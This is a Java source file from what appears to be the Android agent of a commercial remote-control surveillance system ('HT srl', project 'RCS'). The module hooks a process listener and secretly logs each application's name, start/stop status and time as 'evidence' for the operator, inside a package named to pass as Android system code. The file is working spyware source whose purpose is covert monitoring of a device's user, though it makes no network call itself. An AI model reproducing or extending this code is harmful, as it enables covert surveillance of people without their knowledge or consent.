/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : AgentApplication.java * Created : 6-mag-2011 * Author : zeno * *******************************************/ package com.android.dvci.module; import java.util.ArrayList; import com.android.dvci.ProcessInfo; import com.android.dvci.ProcessStatus; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.ConfModule; import com.android.dvci.evidence.EvidenceBuilder; import com.android.dvci.evidence.EvidenceType; import com.android.dvci.interfaces.IncrementalLog; import com.android.dvci.interfaces.Observer; import com.android.dvci.listener.ListenerProcess; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.dvci.util.DateTime; import com.android.dvci.util.WChar; public class ModuleApplication extends BaseModule implements IncrementalLog, Observer<ProcessInfo> { private static final String TAG = "ModuleApplication"; //$NON-NLS-1$ @Override public boolean parse(ConfModule conf) { return true; } @Override public void actualGo() { } EvidenceBuilder evidenceIncremental; @Override public void actualStart() { // viene creato un file temporaneo di log application, aperto. evidenceIncremental = new EvidenceBuilder(EvidenceType.APPLICATION); ListenerProcess.self().attach(this); } @Override public void actualStop() { ListenerProcess.self().detach(this); // il log viene chiuso. evidenceIncremental.close(); } public int notification(ProcessInfo process) { saveEvidence(process.processInfo, process.status); return 0; } /** * Viene invocata dalla notification, a sua volta invocata dal listener * * @param processInfo * @param status */ private void saveEvidence(String processInfo, ProcessStatus status) { if (Cfg.DEBUG) { Check.requires(processInfo != null, "null process"); //$NON-NLS-1$ } final String name = processInfo; final String module = processInfo; final byte[] tm = (new DateTime()).getStructTm(); final ArrayList<byte[]> items = new ArrayList<byte[]>(); items.add(tm); items.add(WChar.getBytes(name, true)); items.add(WChar.getBytes(status.name(), true)); items.add(WChar.getBytes(module, true)); items.add(ByteArray.intToByteArray(EvidenceBuilder.E_DELIMITER)); if (Cfg.DEBUG) { Check.asserts(evidenceIncremental != null, "null log"); //$NON-NLS-1$ } synchronized (this) { evidenceIncremental.write(items); } if (Cfg.DEBUG) { Check.log(TAG + " (saveEvidence): " + name + " " + status.name());//$NON-NLS-1$ //$NON-NLS-2$ } } public synchronized void resetLog() { if (Cfg.DEBUG) { Check.log(TAG + " (resetLog)"); } if (evidenceIncremental.hasData()) { evidenceIncremental.close(); evidenceIncremental = new EvidenceBuilder(EvidenceType.APPLICATION); } } }